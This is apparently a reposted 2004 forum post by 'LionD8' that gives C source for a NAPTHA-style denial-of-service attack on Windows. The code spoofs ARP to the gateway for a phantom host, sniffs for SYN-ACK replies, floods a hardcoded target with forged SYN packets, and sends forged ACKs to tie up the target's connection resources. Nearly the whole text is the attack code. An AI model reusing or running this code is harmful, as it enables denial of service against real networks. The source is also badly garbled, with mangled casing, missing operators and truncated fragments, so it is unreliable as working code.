NAPTHA attack mode Simple implementation under 2K
/ * Author: LionD8 EMAIL: liond8@eyou.com Source: https:? //Www.xfocus.net/bbs/index.php act = SE & f = 3 & t = 33339 & p = 117598
My nest: http://liond8.126.com 2004.2.16 Simple principle in the early hours of the morning: 1. Deception gateway, let the gateway know the Mac in the phantom host. 2. Sniffing all the packets in the LAN, how is it returned to illusion? The second time of the host's second handshake. If so, forget the 3rd handshake. 3. Send forged SYN packets. DOS is performed by consumed the resource of the other's maintenance connection. Occupy channels, etc. For detailed principles, please refer to WARNING3 Boss' s "New Network DOS (Refusal Service) Attack Vulnerability -" Naptha "" I will not talk nonsense.
Address: http://www.nsfocus.net/index.php?act=magazine&do=view&mid=7211*///////////ww // The following code is compiled by // on the virtual machine, it seems to 2K Such as "NAPTHA" // said, nothing affected by "naptha" //, not affected .///include "stdio.h" #include "packet32.h" #include "Windows.h "#include
unsigned int th_ack; unsigned char th_lenres; unsigned char th_flag; USHORT th_win; USHORT th_sum; USHORT th_urp;} TCPHEADER; typedef struct tsd_hdr {unsigned long saddr; unsigned long daddr; char mbz; char ptcl; unsigned short tcpl;} PSDHEADER; DWORD WINAPI ThreadArpSnoop (LPVOID lp); USHORT checksum (USHORT * buffer, int size); DWORD WINAPI ThreadSynFlood (LPVOID lp); DWORD WINAPI SnifferSynAck (LPVOID lp); void SendAck (DWORD SEQ, DWORD ACK, USHORT SPort); void AnalyseData ( LPPACKET LPPACKET); # define Atport 80 // Attack Port #define atip "192.168.1.1" // Attack IP # Define Gate "192.168.85.1" // Gateway #define snoopip "192.168.85.250" // Phantom host ip # define Sleeptime 1000 Uchar DMACADDR [6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; // Broadcast uchar smacaddr [6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xfe}; // Phantom host MacBool ISGOON = true; void main () {isgoon = fal Se; CreateThread (Null, Null, Threadarpsnoop, Null, Null, Null); While (! Isgoon) Sleep (1); isgoon = false; CreateThread (Null, Null, Sniffersynack, Null, Null, Null); While (! Isgoon) ) Sleep (1); CreateThread (Null, Null, Threadsynflood, Null, Null, Null); While (1) Sleep (1000000);} DWord WinApi Threadarpsnoop (LPVOID LP) {Static Char AdapterList [10] [1024]; tchar szPacketBuf [512]; lPADAPTER lpAdapter; LPPACKET lpPacket; WCHAR AdapterName [2048]; WCHAR * temp, * temp1; ARPPACKET ARPPacket; ULONG AdapterLength = 1024; DWORD AdapterNum = 0; DWORD nRetCode, i;
if (PacketGetAdapterNames ((char *) AdapterName, & AdapterLength) == FALSE) {printf ( "Unable to retrieve the list of the adapters / n!"); return 0;} temp = AdapterName; temp1 = AdapterName; i = 0; While (* Temp! = '/ 0') || (* (TEMP-1)! = '/ 0')) {if (* Temp == '/ 0') {Memcpy (AdapterList [i], TEMP1 (Temp-Temp1) * SizeOf (Wchar)); TEMP1 = Temp 1; I ;} Temp ;} adapternum = i; for (i = 0; i
ARPPacket.arphdr.arp_pln = 4; ARPPacket.arphdr.arp_op = htons (1); memcpy (ARPPacket.arphdr.arp_sha, SMacAddr, 6); ARPPacket.arphdr.arp_spa = inet_addr (SNOOPIP); memset (ARPPacket.arphdr.arp_tha , 0,6); ARPPacket.arphdr.arp_tpa = inet_addr (GATE); memcpy (szPacketBuf, (char *) & ARPPacket, sizeof (ARPPacket)); PacketInitPacket (lpPacket, szPacketBuf, 60); if (PacketSetNumWrites (lpAdapter, 1) == false) {Printf ("Warning: Unable to send more than one packet in a single write! / N");} While (1) {if (packetsendpacket (lpadapter, lppacket, true) == false) {Printf "Error sending the packets / n!"); return 0;} Sleep (30000);} PacketFreePacket (lpPacket); PacketCloseAdapter (lpAdapter); return 0;} DWORD WINAPI ThreadSynFlood (LPVOID lp) {WSADATA WSAData; SOCKET sock; SOCKADDR_IN Addr_in; ipheader ipheader; tcpheader tcpheader; ps DHEADER PSDHEADER; int SourcePort; char szsendbuf [60] = {0}; BOOL FLAG; int REC, NTIMEOVER; IF (WsaStartup (MakeWord (2, 2), & WSADATA)! = 0) {Printf ("WsaStartup Error! / N "); RETURN 0;} SOCK = NULL; IF ((SOCK = Socket (SOCKET, SOCK_RAW, IPPROTO_IP) == Invalid_socket) {PrintF (" Socket Setup Error! / N "); return 0;} flag = true; IF (setsock, ipproto_ip, ip_hdrincl, (charg) == socket_error) {printf ("setsockopt ip_hdrincl error! / n"); return false;} ntimeover = 1000; ntimeOver = 1000; NTIMEOVER = 1000;
if (setsockopt (sock, SOL_SOCKET, SO_SNDTIMEO, (char *) & nTimeOver, sizeof (nTimeOver)) == SOCKET_ERROR) // set transmission time {printf ( "setsockopt SO_SNDTIMEO error / n!"); return false;} addr_in. sin_family = AF_INET; addr_in.sin_port = htons (ATPORT); addr_in.sin_addr.S_un.S_addr = inet_addr (ATIP); ipHeader.h_verlen = (4 << 4 | sizeof (ipHeader) / sizeof (unsigned long)); ipHeader. tos = 0; ipHeader.total_len = htons (sizeof (ipHeader) sizeof (tcpHeader)); // IP total length ipHeader.ident = 1; ipHeader.frag_and_flags = 0; ipHeader.ttl = 123; ipHeader.proto = IPPROTO_TCP; ipHeader.checksum = 0; ipHeader.destIP = inet_addr (ATIP); tcpHeader.th_dport = htons (ATPORT); tcpHeader.th_ack = 0; tcpHeader.th_lenres = (sizeof (tcpHeader) / 4 << 4 | 0); tcpHeader. TH_FLAG = 2; tcpheader.th_win = htons (512); tcpheader.th_urp = 0; tcpheader.th_seq = htonl (0x12345678); psdheader.daddr = ipheader.destip; P sdHeader.mbz = 0; psdHeader.ptcl = IPPROTO_TCP; psdHeader.tcpl = htons (sizeof (tcpHeader)); ipHeader.sourceIP = inet_addr (SNOOPIP); while (TRUE) {SourcePort = GetTickCount ()% 65534; tcpHeader.th_sport = htons (SourcePort); tcpHeader.th_sum = 0; psdHeader.saddr = ipHeader.sourceIP; memcpy (szSendBuf, & psdHeader, sizeof (psdHeader)); memcpy (szSendBuf sizeof (psdHeader), & tcpHeader, sizeof (tcpHeader)); tcpHeader. TH_SUM = Checksum (USHORT *) Szsendbuf, sizeof (psdheader) sizeof (tcpheader)); Memcpy (SzsendBuf, & &)
ipHeader, sizeof (ipHeader)); memcpy (szSendBuf sizeof (ipHeader), & tcpHeader, sizeof (tcpHeader)); rect = sendto (sock, szSendBuf, sizeof (ipHeader) sizeof (tcpHeader), 0, (struct sockaddr *) & addr_in, sizeof (addR_in)); if (Rect == Socket_ERROR) {Printf ("Send Error!:% x / n", wsagetlasterror ()); Return False;} else printf ("Send OK! / N"); Sleep (SLEEPTIME);} // endwhile closesocket (sock); WSACleanup (); return 0;} USHORT checksum (USHORT * buffer, int size) {unsigned long cksum = 0; while (size> 1) {cksum = * buffer Size - = sizeof (ushort);} if (size) {cksum = * (uchar *) buffer;} CKSUM = (CKSUM >> 16) (CKSUM & 0xFFFF); CKSUM = (CKSUM >> 16) Return (~ cksum);} DWord WinApi Sniffersynack (LPVOID LP) {LPADAPTER LPADAPTER; Static Char AdapterList [10] [1024]; Ulong Adapternum; Wchar AdapterName 2048]; WCHAR * temp, * temp1; ULONG AdapterLength = 1024; ULONG i, adapter_num = 0; if (PacketGetAdapterNames ((char *) AdapterName, & AdapterLength) == FALSE) {printf ( "Unable to retrieve the list of the adapters ! / n "); return 0;} temp = adaptername; temp1 = adaptername; i = 0; while (* temp! = '/ 0') || (* (TEMP-1)! = '/ 0') ) {If (* temp == '/ 0') {MEMCPY (AdapterList [i], temp1, (temp-temp1) * sizeof (wchar)); temp1 = temp 1; i ;
} Temp ;} adapternum = i; for (i = 0; i
bh_hdrlen sizeof (EHHEADR) sizeof (IPHEADER)); if (lpTcphdr-> th_ack == ntohl (0x12345678 1) && lpTcphdr-> th_flag == 0x12) {SendAck (lpTcphdr-> th_seq, lpTcphdr-> th_ack, lpTcphdr -> th_dport);}}} void SendAck (DWORD SEQ, DWORD ACK, USHORT SPort) {SOCKET sock; SOCKADDR_IN addr_in; IPHEADER ipHeader; TCPHEADER tcpHeader; pSDHEADER psdHeader; char szSendBuf [60] = {0}; BOOL flag; int Rect, ntimeover; sock = null; if ((SOCK = Socket, Sock_RAW, IPPROTO_IP) == Invalid_Socket) {Printf ("Socket Setup Error! / N"); return;} flag = true; if (setsockopt (SETSOCKOPT sock, IPPROTO_IP, IP_HDRINCL, (char *) & flag, sizeof (flag)) == SOCKET_ERROR) {printf ( "setsockopt IP_HDRINCL error / n!"); return;} nTimeOver = 1000; if (setsockopt (sock, SOL_SOCKET, SO_SNDTIMEO , (char *) & ntimeover, sizeof (ntimeover) == SOCKET_ERROR) // Setting the time {Printf ("setsockopt ! SO_SNDTIMEO error / n "); return;} addr_in.sin_family = AF_INET; addr_in.sin_port = htons (ATPORT); addr_in.sin_addr.S_un.S_addr = inet_addr (ATIP); ipHeader.h_verlen = (4 << 4 | sizeof (ipHeader) / sizeof (unsigned long); ipHeader.tos = 0; ipHeader.total_len = htons (ipHeader) sizeof (tcpheader)); // ip total length ipheader.Ident = 1; ipHeader.frag_and_flags = 0 IpHeader.ttl = 123; ipHeader.proto = ipproto_tcp; ipHeader.checksum = 0; ipHeader.Destip = inet_addr (atip); tcpheader.th_dport = htons (atport);